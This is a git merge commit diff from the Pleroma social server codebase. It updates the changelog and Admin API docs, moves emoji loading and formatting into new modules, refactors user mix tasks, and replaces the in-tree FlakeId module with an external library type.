Merge branch 'develop' into tests/mastodon_api_controller.ex

This commit is contained in:
Maksim Pechnikov 2019-09-26 16:13:07 +03:00
commit 3d722dc200
66 changed files with 1500 additions and 1687 deletions

View file

@ -14,6 +14,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
- Admin API: Return `total` when querying for reports
- Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`)
- Admin API: Return link alongside with token on password reset
### Fixed
- Mastodon API: Fix private and direct statuses not being filtered out from the public timeline for an authenticated user (`GET /api/v1/timelines/public`)
@ -44,6 +45,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Improve digest email template
Pagination: (optional) return `total` alongside with `items` when paginating
- Add `rel="ugc"` to all links in statuses, to prevent SEO spam
- ActivityPub: The first page in inboxes/outboxes is no longer embedded.
### Fixed
- Following from Osada
@ -108,6 +110,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Admin API: Added moderation log
- Web response cache (currently, enabled for ActivityPub)
- Mastodon API: Added an endpoint to get multiple statuses by IDs (`GET /api/v1/statuses/?ids[]=1&ids[]=2`)
- ActivityPub: Add ActivityPub actor's `discoverable` parameter.
### Changed
- Configuration: Filter.AnonymizeFilename added ability to retain file extension with custom text

View file

@ -308,7 +308,15 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret
- Methods: `GET`
- Params: none
- Response: password reset token (base64 string)
- Response:
```json
{
"token": "U13DX6muOvpRsj35_ij9wLxUbkU-eFvfKttxs6gIajo=", // password reset token (base64 string)
"link": "https://pleroma.social/api/pleroma/password_reset/U13DX6muOvpRsj35_ij9wLxUbkU-eFvfKttxs6gIajo%3D"
}
```
## `/api/pleroma/admin/users/:nickname/force_password_reset`

View file

@ -235,7 +235,7 @@ defmodule Mix.Tasks.Pleroma.Emoji do
cwd: tmp_pack_dir
)
emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts)
emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts)
File.write!(files_name, Jason.encode!(emoji_map, pretty: true))

View file

@ -4,7 +4,6 @@
defmodule Mix.Tasks.Pleroma.User do
use Mix.Task
import Ecto.Changeset
import Mix.Pleroma
alias Pleroma.User
alias Pleroma.UserInviteToken
@ -228,9 +227,9 @@ defmodule Mix.Tasks.Pleroma.User do
shell_info("Deactivating #{user.nickname}")
User.deactivate(user)
{:ok, friends} = User.get_friends(user)
Enum.each(friends, fn friend ->
user
|> User.get_friends()
|> Enum.each(fn friend ->
user = User.get_cached_by_id(user.id)
shell_info("Unsubscribing #{friend.nickname} from #{user.nickname}")
@ -405,7 +404,7 @@ defmodule Mix.Tasks.Pleroma.User do
start_pleroma()
with %User{local: true} = user <- User.get_cached_by_nickname(nickname) do
{:ok, _} = User.delete_user_activities(user)
User.delete_user_activities(user)
shell_info("User #{nickname} statuses deleted.")
else
_ ->
@ -443,39 +442,21 @@ defmodule Mix.Tasks.Pleroma.User do
end
defp set_moderator(user, value) do
info_cng = User.Info.admin_api_update(user.info, %{is_moderator: value})
user_cng =
Ecto.Changeset.change(user)
|> put_embed(:info, info_cng)
{:ok, user} = User.update_and_set_cache(user_cng)
{:ok, user} = User.update_info(user, &User.Info.admin_api_update(&1, %{is_moderator: value}))
shell_info("Moderator status of #{user.nickname}: #{user.info.is_moderator}")
user
end
defp set_admin(user, value) do
info_cng = User.Info.admin_api_update(user.info, %{is_admin: value})
user_cng =
Ecto.Changeset.change(user)
|> put_embed(:info, info_cng)
{:ok, user} = User.update_and_set_cache(user_cng)
{:ok, user} = User.update_info(user, &User.Info.admin_api_update(&1, %{is_admin: value}))
shell_info("Admin status of #{user.nickname}: #{user.info.is_admin}")
user
end
defp set_locked(user, value) do
info_cng = User.Info.user_upgrade(user.info, %{locked: value})
user_cng =
Ecto.Changeset.change(user)
|> put_embed(:info, info_cng)
{:ok, user} = User.update_and_set_cache(user_cng)
{:ok, user} = User.update_info(user, &User.Info.user_upgrade(&1, %{locked: value}))
shell_info("Locked status of #{user.nickname}: #{user.info.locked}")
user

View file

@ -21,7 +21,7 @@ defmodule Pleroma.Activity do
@type t :: %__MODULE__{}
@type actor :: String.t()
@primary_key {:id, Pleroma.FlakeId, autogenerate: true}
@primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true}
# https://github.com/tootsuite/mastodon/blob/master/app/models/notification.rb#L19
@mastodon_notification_types %{
@ -139,7 +139,7 @@ defmodule Pleroma.Activity do
@spec get_by_id(String.t()) :: Activity.t() | nil
def get_by_id(id) do
case Pleroma.FlakeId.is_flake_id?(id) do
case FlakeId.flake_id?(id) do
true ->
Activity
|> where([a], a.id == ^id)

View file

@ -7,7 +7,6 @@ defmodule Pleroma.ActivityExpiration do
alias Pleroma.Activity
alias Pleroma.ActivityExpiration
alias Pleroma.FlakeId
alias Pleroma.Repo
import Ecto.Changeset
@ -17,7 +16,7 @@ defmodule Pleroma.ActivityExpiration do
@min_activity_lifetime :timer.hours(1)
schema "activity_expirations" do
belongs_to(:activity, Activity, type: FlakeId)
belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType)
field(:scheduled_at, :naive_datetime)
end

View file

@ -35,7 +35,6 @@ defmodule Pleroma.Application do
Pleroma.Config.TransferTask,
Pleroma.Emoji,
Pleroma.Captcha,
Pleroma.FlakeId,
Pleroma.Daemons.ScheduledActivityDaemon,
Pleroma.Daemons.ActivityExpirationDaemon
] ++

View file

@ -10,20 +10,20 @@ defmodule Pleroma.Bookmark do
alias Pleroma.Activity
alias Pleroma.Bookmark
alias Pleroma.FlakeId
alias Pleroma.Repo
alias Pleroma.User
@type t :: %__MODULE__{}
schema "bookmarks" do
belongs_to(:user, User, type: FlakeId)
belongs_to(:activity, Activity, type: FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType)
timestamps()
end
@spec create(FlakeId.t(), FlakeId.t()) :: {:ok, Bookmark.t()} | {:error, Changeset.t()}
@spec create(FlakeId.Ecto.CompatType.t(), FlakeId.Ecto.CompatType.t()) ::
{:ok, Bookmark.t()} | {:error, Changeset.t()}
def create(user_id, activity_id) do
attrs = %{
user_id: user_id,
@ -37,7 +37,7 @@ defmodule Pleroma.Bookmark do
|> Repo.insert()
end
@spec for_user_query(FlakeId.t()) :: Ecto.Query.t()
@spec for_user_query(FlakeId.Ecto.CompatType.t()) :: Ecto.Query.t()
def for_user_query(user_id) do
Bookmark
|> where(user_id: ^user_id)
@ -52,7 +52,8 @@ defmodule Pleroma.Bookmark do
|> Repo.one()
end
@spec destroy(FlakeId.t(), FlakeId.t()) :: {:ok, Bookmark.t()} | {:error, Changeset.t()}
@spec destroy(FlakeId.Ecto.CompatType.t(), FlakeId.Ecto.CompatType.t()) ::
{:ok, Bookmark.t()} | {:error, Changeset.t()}
def destroy(user_id, activity_id) do
from(b in Bookmark,
where: b.user_id == ^user_id,

View file

@ -13,10 +13,10 @@ defmodule Pleroma.Conversation.Participation do
import Ecto.Query
schema "conversation_participations" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:conversation, Conversation)
field(:read, :boolean, default: false)
field(:last_activity_id, Pleroma.FlakeId, virtual: true)
field(:last_activity_id, FlakeId.Ecto.CompatType, virtual: true)
has_many(:recipient_ships, RecipientShip)
has_many(:recipients, through: [:recipient_ships, :user])

View file

@ -12,7 +12,7 @@ defmodule Pleroma.Conversation.Participation.RecipientShip do
import Ecto.Changeset
schema "conversation_participation_recipient_ships" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:participation, Participation)
end

View file

@ -6,7 +6,6 @@ defmodule Pleroma.Delivery do
use Ecto.Schema
alias Pleroma.Delivery
alias Pleroma.FlakeId
alias Pleroma.Object
alias Pleroma.Repo
alias Pleroma.User
@ -16,7 +15,7 @@ defmodule Pleroma.Delivery do
import Ecto.Query
schema "deliveries" do
belongs_to(:user, User, type: FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:object, Object)
end

View file

@ -4,24 +4,37 @@
defmodule Pleroma.Emoji do
@moduledoc """
The emojis are loaded from:
* emoji packs in INSTANCE-DIR/emoji
* the files: `config/emoji.txt` and `config/custom_emoji.txt`
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime.
This GenServer stores in an ETS table the list of the loaded emojis,
and also allows to reload the list at runtime.
"""
use GenServer
alias Pleroma.Emoji.Loader
require Logger
@type pattern :: Regex.t() | module() | String.t()
@type patterns :: pattern() | [pattern()]
@type group_patterns :: keyword(patterns())
@ets __MODULE__.Ets
@ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}]
@ets_options [
:ordered_set,
:protected,
:named_table,
{:read_concurrency, true}
]
defstruct [:code, :file, :tags, :safe_code, :safe_file]
@doc "Build emoji struct"
def build({code, file, tags}) do
%__MODULE__{
code: code,
file: file,
tags: tags,
safe_code: Pleroma.HTML.strip_tags(code),
safe_file: Pleroma.HTML.strip_tags(file)
}
end
def build({code, file}), do: build({code, file, []})
@doc false
def start_link(_) do
@ -44,11 +57,14 @@ defmodule Pleroma.Emoji do
end
@doc "Returns all the emojos!!"
@spec get_all() :: [{String.t(), String.t()}, ...]
@spec get_all() :: list({String.t(), String.t(), String.t()})
def get_all do
:ets.tab2list(@ets)
end
@doc "Clear out old emojis"
def clear_all, do: :ets.delete_all_objects(@ets)
@doc false
def init(_) do
@ets = :ets.new(@ets, @ets_options)
@ -58,13 +74,13 @@ defmodule Pleroma.Emoji do
@doc false
def handle_cast(:reload, state) do
load()
update_emojis(Loader.load())
{:noreply, state}
end
@doc false
def handle_call(:reload, _from, state) do
load()
update_emojis(Loader.load())
{:reply, :ok, state}
end
@ -75,207 +91,11 @@ defmodule Pleroma.Emoji do
@doc false
def code_change(_old_vsn, state, _extra) do
load()
update_emojis(Loader.load())
{:ok, state}
end
defp load do
emoji_dir_path =
Path.join(
Pleroma.Config.get!([:instance, :static_dir]),
"emoji"
)
emoji_groups = Pleroma.Config.get([:emoji, :groups])
case File.ls(emoji_dir_path) do
{:error, :enoent} ->
# The custom emoji directory doesn't exist,
# don't do anything
nil
{:error, e} ->
# There was some other error
Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
{:ok, results} ->
grouped =
Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end)
packs = grouped[true] || []
files = grouped[false] || []
# Print the packs we've found
Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
if not Enum.empty?(files) do
Logger.warn(
"Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
Enum.join(files, ", ")
}"
)
end
emojis =
Enum.flat_map(
packs,
fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end
)
# Clear out old emojis
:ets.delete_all_objects(@ets)
true = :ets.insert(@ets, emojis)
end
# Compat thing for old custom emoji handling & default emoji,
# it should run even if there are no emoji packs
shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], [])
emojis =
(load_from_file("config/emoji.txt", emoji_groups) ++
load_from_file("config/custom_emoji.txt", emoji_groups) ++
load_from_globs(shortcode_globs, emoji_groups))
|> Enum.reject(fn value -> value == nil end)
true = :ets.insert(@ets, emojis)
:ok
end
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
pack_file = Path.join(pack_dir, "pack.json")
if File.exists?(pack_file) do
contents = Jason.decode!(File.read!(pack_file))
contents["files"]
|> Enum.map(fn {name, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{name, filename, pack_name}
end)
else
# Load from emoji.txt / all files
emoji_txt = Path.join(pack_dir, "emoji.txt")
if File.exists?(emoji_txt) do
load_from_file(emoji_txt, emoji_groups)
else
extensions = Pleroma.Config.get([:emoji, :pack_extensions])
Logger.info(
"No emoji.txt found for pack \"#{pack_name}\", assuming all #{
Enum.join(extensions, ", ")
} files are emoji"
)
make_shortcode_to_file_map(pack_dir, extensions)
|> Enum.map(fn {shortcode, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
end)
end
end
end
def make_shortcode_to_file_map(pack_dir, exts) do
find_all_emoji(pack_dir, exts)
|> Enum.map(&Path.relative_to(&1, pack_dir))
|> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
|> Enum.into(%{})
end
def find_all_emoji(dir, exts) do
Enum.reduce(
File.ls!(dir),
[],
fn f, acc ->
filepath = Path.join(dir, f)
if File.dir?(filepath) do
acc ++ find_all_emoji(filepath, exts)
else
acc ++ [filepath]
end
end
)
|> Enum.filter(fn f -> Path.extname(f) in exts end)
end
defp load_from_file(file, emoji_groups) do
if File.exists?(file) do
load_from_file_stream(File.stream!(file), emoji_groups)
else
[]
end
end
defp load_from_file_stream(stream, emoji_groups) do
stream
|> Stream.map(&String.trim/1)
|> Stream.map(fn line ->
case String.split(line, ~r/,\s*/) do
[name, file] ->
{name, file, [to_string(match_extra(emoji_groups, file))]}
[name, file | tags] ->
{name, file, tags}
_ ->
nil
end
end)
|> Enum.to_list()
end
defp load_from_globs(globs, emoji_groups) do
static_path = Path.join(:code.priv_dir(:pleroma), "static")
paths =
Enum.map(globs, fn glob ->
Path.join(static_path, glob)
|> Path.wildcard()
end)
|> Enum.concat()
Enum.map(paths, fn path ->
tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
shortcode = Path.basename(path, Path.extname(path))
external_path = Path.join("/", Path.relative_to(path, static_path))
{shortcode, external_path, [to_string(tag)]}
end)
end
@doc """
Finds a matching group for the given emoji filename
"""
@spec match_extra(group_patterns(), String.t()) :: atom() | nil
def match_extra(group_patterns, filename) do
match_group_patterns(group_patterns, fn pattern ->
case pattern do
%Regex{} = regex -> Regex.match?(regex, filename)
string when is_binary(string) -> filename == string
end
end)
end
defp match_group_patterns(group_patterns, matcher) do
Enum.find_value(group_patterns, fn {group, patterns} ->
patterns =
patterns
|> List.wrap()
|> Enum.map(fn pattern ->
if String.contains?(pattern, "*") do
~r(#{String.replace(pattern, "*", ".*")})
else
pattern
end
end)
Enum.any?(patterns, matcher) && group
end)
defp update_emojis(emojis) do
:ets.insert(@ets, emojis)
end
end

View file

@ -0,0 +1,59 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.Formatter do
alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.Web.MediaProxy
def emojify(text) do
emojify(text, Emoji.get_all())
end
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn
{_, %Emoji{safe_code: emoji, safe_file: file}}, text ->
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
{unsafe_emoji, unsafe_file}, text ->
emoji = HTML.strip_tags(unsafe_emoji)
file = HTML.strip_tags(unsafe_file)
String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
end)
|> HTML.filter_tags()
end
defp prepare_emoji_html(_emoji, _file, true), do: ""
defp prepare_emoji_html(emoji, file, _strip) do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
end
def demojify(text) do
emojify(text, Emoji.get_all(), true)
end
def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} ->
String.contains?(text, ":#{emoji}:")
end)
end
def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
def get_emoji_map(_), do: []
end

224
lib/pleroma/emoji/loader.ex Normal file
View file

@ -0,0 +1,224 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.Loader do
@moduledoc """
The Loader emoji from:
* emoji packs in INSTANCE-DIR/emoji
* the files: `config/emoji.txt` and `config/custom_emoji.txt`
* glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
"""
alias Pleroma.Config
alias Pleroma.Emoji
require Logger
@type pattern :: Regex.t() | module() | String.t()
@type patterns :: pattern() | [pattern()]
@type group_patterns :: keyword(patterns())
@type emoji :: {String.t(), Emoji.t()}
@doc """
Loads emojis from files/packs.
returns list emojis in format:
`{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}`
"""
@spec load() :: list(emoji)
def load do
emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji")
emoji_groups = Config.get([:emoji, :groups])
emojis =
case File.ls(emoji_dir_path) do
{:error, :enoent} ->
# The custom emoji directory doesn't exist,
# don't do anything
[]
{:error, e} ->
# There was some other error
Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
[]
{:ok, results} ->
grouped =
Enum.group_by(results, fn file ->
File.dir?(Path.join(emoji_dir_path, file))
end)
packs = grouped[true] || []
files = grouped[false] || []
# Print the packs we've found
Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
if not Enum.empty?(files) do
Logger.warn(
"Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
Enum.join(files, ", ")
}"
)
end
emojis =
Enum.flat_map(packs, fn pack ->
load_pack(Path.join(emoji_dir_path, pack), emoji_groups)
end)
Emoji.clear_all()
emojis
end
# Compat thing for old custom emoji handling & default emoji,
# it should run even if there are no emoji packs
shortcode_globs = Config.get([:emoji, :shortcode_globs], [])
emojis_txt =
(load_from_file("config/emoji.txt", emoji_groups) ++
load_from_file("config/custom_emoji.txt", emoji_groups) ++
load_from_globs(shortcode_globs, emoji_groups))
|> Enum.reject(fn value -> value == nil end)
Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
end
defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)}
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
pack_file = Path.join(pack_dir, "pack.json")
if File.exists?(pack_file) do
contents = Jason.decode!(File.read!(pack_file))
contents["files"]
|> Enum.map(fn {name, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{name, filename, ["pack:#{pack_name}"]}
end)
else
# Load from emoji.txt / all files
emoji_txt = Path.join(pack_dir, "emoji.txt")
if File.exists?(emoji_txt) do
load_from_file(emoji_txt, emoji_groups)
else
extensions = Pleroma.Config.get([:emoji, :pack_extensions])
Logger.info(
"No emoji.txt found for pack \"#{pack_name}\", assuming all #{
Enum.join(extensions, ", ")
} files are emoji"
)
make_shortcode_to_file_map(pack_dir, extensions)
|> Enum.map(fn {shortcode, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
end)
end
end
end
def make_shortcode_to_file_map(pack_dir, exts) do
find_all_emoji(pack_dir, exts)
|> Enum.map(&Path.relative_to(&1, pack_dir))
|> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
|> Enum.into(%{})
end
def find_all_emoji(dir, exts) do
dir
|> File.ls!()
|> Enum.flat_map(fn f ->
filepath = Path.join(dir, f)
if File.dir?(filepath) do
find_all_emoji(filepath, exts)
else
[filepath]
end
end)
|> Enum.filter(fn f -> Path.extname(f) in exts end)
end
defp load_from_file(file, emoji_groups) do
if File.exists?(file) do
load_from_file_stream(File.stream!(file), emoji_groups)
else
[]
end
end
defp load_from_file_stream(stream, emoji_groups) do
stream
|> Stream.map(&String.trim/1)
|> Stream.map(fn line ->
case String.split(line, ~r/,\s*/) do
[name, file] ->
{name, file, [to_string(match_extra(emoji_groups, file))]}
[name, file | tags] ->
{name, file, tags}
_ ->
nil
end
end)
|> Enum.to_list()
end
defp load_from_globs(globs, emoji_groups) do
static_path = Path.join(:code.priv_dir(:pleroma), "static")
paths =
Enum.map(globs, fn glob ->
Path.join(static_path, glob)
|> Path.wildcard()
end)
|> Enum.concat()
Enum.map(paths, fn path ->
tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
shortcode = Path.basename(path, Path.extname(path))
external_path = Path.join("/", Path.relative_to(path, static_path))
{shortcode, external_path, [to_string(tag)]}
end)
end
@doc """
Finds a matching group for the given emoji filename
"""
@spec match_extra(group_patterns(), String.t()) :: atom() | nil
def match_extra(group_patterns, filename) do
match_group_patterns(group_patterns, fn pattern ->
case pattern do
%Regex{} = regex -> Regex.match?(regex, filename)
string when is_binary(string) -> filename == string
end
end)
end
defp match_group_patterns(group_patterns, matcher) do
Enum.find_value(group_patterns, fn {group, patterns} ->
patterns =
patterns
|> List.wrap()
|> Enum.map(fn pattern ->
if String.contains?(pattern, "*") do
~r(#{String.replace(pattern, "*", ".*")})
else
pattern
end
end)
Enum.any?(patterns, matcher) && group
end)
end
end

View file

@ -12,7 +12,7 @@ defmodule Pleroma.Filter do
alias Pleroma.User
schema "filters" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
field(:filter_id, :integer)
field(:hide, :boolean, default: false)
field(:whole_word, :boolean, default: true)

View file

@ -1,182 +0,0 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.FlakeId do
@moduledoc """
Flake is a decentralized, k-ordered id generation service.
Adapted from:
* [flaky](https://github.com/nirvana/flaky), released under the terms of the Truly Free License,
* [Flake](https://github.com/boundary/flake), Copyright 2012, Boundary, Apache License, Version 2.0
"""
@type t :: binary
use Ecto.Type
use GenServer
require Logger
alias __MODULE__
import Kernel, except: [to_string: 1]
defstruct node: nil, time: 0, sq: 0
@doc "Converts a binary Flake to a String"
def to_string(<<0::integer-size(64), id::integer-size(64)>>) do
Kernel.to_string(id)
end
def to_string(<<_::integer-size(64), _::integer-size(48), _::integer-size(16)>> = flake) do
encode_base62(flake)
end
def to_string(s), do: s
def from_string(int) when is_integer(int) do
from_string(Kernel.to_string(int))
end
for i <- [-1, 0] do
def from_string(unquote(i)), do: <<0::integer-size(128)>>
def from_string(unquote(Kernel.to_string(i))), do: <<0::integer-size(128)>>
end
def from_string(<<_::integer-size(128)>> = flake), do: flake
def from_string(string) when is_binary(string) and byte_size(string) < 18 do
case Integer.parse(string) do
{id, ""} -> <<0::integer-size(64), id::integer-size(64)>>
_ -> nil
end
end
def from_string(string) do
string |> decode_base62 |> from_integer
end
def to_integer(<<integer::integer-size(128)>>), do: integer
def from_integer(integer) do
<<_time::integer-size(64), _node::integer-size(48), _seq::integer-size(16)>> =
<<integer::integer-size(128)>>
end
@doc "Generates a Flake"
@spec get :: binary
def get, do: to_string(:gen_server.call(:flake, :get))
# checks that ID is is valid FlakeID
#
@spec is_flake_id?(String.t()) :: boolean
def is_flake_id?(id), do: is_flake_id?(String.to_charlist(id), true)
defp is_flake_id?([c | cs], true) when c >= ?0 and c <= ?9, do: is_flake_id?(cs, true)
defp is_flake_id?([c | cs], true) when c >= ?A and c <= ?Z, do: is_flake_id?(cs, true)
defp is_flake_id?([c | cs], true) when c >= ?a and c <= ?z, do: is_flake_id?(cs, true)
defp is_flake_id?([], true), do: true
defp is_flake_id?(_, _), do: false
# -- Ecto.Type API
@impl Ecto.Type
def type, do: :uuid
@impl Ecto.Type
def cast(value) do
{:ok, FlakeId.to_string(value)}
end
@impl Ecto.Type
def load(value) do
{:ok, FlakeId.to_string(value)}
end
@impl Ecto.Type
def dump(value) do
{:ok, FlakeId.from_string(value)}
end
def autogenerate, do: get()
# -- GenServer API
def start_link(_) do
:gen_server.start_link({:local, :flake}, __MODULE__, [], [])
end
@impl GenServer
def init([]) do
{:ok, %FlakeId{node: worker_id(), time: time()}}
end
@impl GenServer
def handle_call(:get, _from, state) do
{flake, new_state} = get(time(), state)
{:reply, flake, new_state}
end
# Matches when the calling time is the same as the state time. Incr. sq
defp get(time, %FlakeId{time: time, node: node, sq: seq}) do
new_state = %FlakeId{time: time, node: node, sq: seq + 1}
{gen_flake(new_state), new_state}
end
# Matches when the times are different, reset sq
defp get(newtime, %FlakeId{time: time, node: node}) when newtime > time do
new_state = %FlakeId{time: newtime, node: node, sq: 0}
{gen_flake(new_state), new_state}
end
# Error when clock is running backwards
defp get(newtime, %FlakeId{time: time}) when newtime < time do
{:error, :clock_running_backwards}
end
defp gen_flake(%FlakeId{time: time, node: node, sq: seq}) do
<<time::integer-size(64), node::integer-size(48), seq::integer-size(16)>>
end
defp nthchar_base62(n) when n <= 9, do: ?0 + n
defp nthchar_base62(n) when n <= 35, do: ?A + n - 10
defp nthchar_base62(n), do: ?a + n - 36
defp encode_base62(<<integer::integer-size(128)>>) do
integer
|> encode_base62([])
|> List.to_string()
end
defp encode_base62(int, acc) when int < 0, do: encode_base62(-int, acc)
defp encode_base62(int, []) when int == 0, do: '0'
defp encode_base62(int, acc) when int == 0, do: acc
defp encode_base62(int, acc) do
r = rem(int, 62)
id = div(int, 62)
acc = [nthchar_base62(r) | acc]
encode_base62(id, acc)
end
defp decode_base62(s) do
decode_base62(String.to_charlist(s), 0)
end
defp decode_base62([c | cs], acc) when c >= ?0 and c <= ?9,
do: decode_base62(cs, 62 * acc + (c - ?0))
defp decode_base62([c | cs], acc) when c >= ?A and c <= ?Z,
do: decode_base62(cs, 62 * acc + (c - ?A + 10))
defp decode_base62([c | cs], acc) when c >= ?a and c <= ?z,
do: decode_base62(cs, 62 * acc + (c - ?a + 36))
defp decode_base62([], acc), do: acc
defp time do
{mega_seconds, seconds, micro_seconds} = :erlang.timestamp()
1_000_000_000 * mega_seconds + seconds * 1000 + :erlang.trunc(micro_seconds / 1000)
end
defp worker_id do
<<worker::integer-size(48)>> = :crypto.strong_rand_bytes(6)
worker
end
end

View file

@ -3,10 +3,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Formatter do
alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.User
alias Pleroma.Web.MediaProxy
@safe_mention_regex ~r/^(\s*(?<mentions>(@.+?\s+){1,})+)(?<rest>.*)/s
@link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui
@ -100,51 +98,6 @@ defmodule Pleroma.Formatter do
end
end
def emojify(text) do
emojify(text, Emoji.get_all())
end
def emojify(text, nil), do: text
def emojify(text, emoji, strip \\ false) do
Enum.reduce(emoji, text, fn emoji_data, text ->
emoji = HTML.strip_tags(elem(emoji_data, 0))
file = HTML.strip_tags(elem(emoji_data, 1))
html =
if not strip do
"<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
else
""
end
String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags()
end)
end
def demojify(text) do
emojify(text, Emoji.get_all(), true)
end
def demojify(text, nil), do: text
@doc "Outputs a list of the emoji-shortcodes in a text"
def get_emoji(text) when is_binary(text) do
Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end)
end
def get_emoji(_), do: []
@doc "Outputs a list of the emoji-Maps in a text"
def get_emoji_map(text) when is_binary(text) do
get_emoji(text)
|> Enum.reduce(%{}, fn {name, file, _group}, acc ->
Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
end)
end
def get_emoji_map(_), do: []
def html_escape({text, mentions, hashtags}, type) do
{html_escape(text, type), mentions, hashtags}
end

View file

@ -13,7 +13,7 @@ defmodule Pleroma.List do
alias Pleroma.User
schema "lists" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
field(:title, :string)
field(:following, {:array, :string}, default: [])
field(:ap_id, :string)

View file

@ -22,8 +22,8 @@ defmodule Pleroma.Notification do
schema "notifications" do
field(:seen, :boolean, default: false)
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:activity, Activity, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
belongs_to(:activity, Activity, type: FlakeId.Ecto.CompatType)
timestamps()
end

View file

@ -64,6 +64,7 @@ defmodule Pleroma.Pagination do
def paginate(query, options, :offset) do
query
|> restrict(:order, options)
|> restrict(:offset, options)
|> restrict(:limit, options)
end

View file

@ -12,7 +12,7 @@ defmodule Pleroma.PasswordResetToken do
alias Pleroma.User
schema "password_reset_tokens" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
field(:token, :string)
field(:used, :boolean, default: false)

View file

@ -11,10 +11,10 @@ defmodule Pleroma.Registration do
alias Pleroma.Repo
alias Pleroma.User
@primary_key {:id, Pleroma.FlakeId, autogenerate: true}
@primary_key {:id, FlakeId.Ecto.CompatType, autogenerate: true}
schema "registrations" do
belongs_to(:user, User, type: Pleroma.FlakeId)
belongs_to(:user, User, type: FlakeId.Ecto.CompatType)
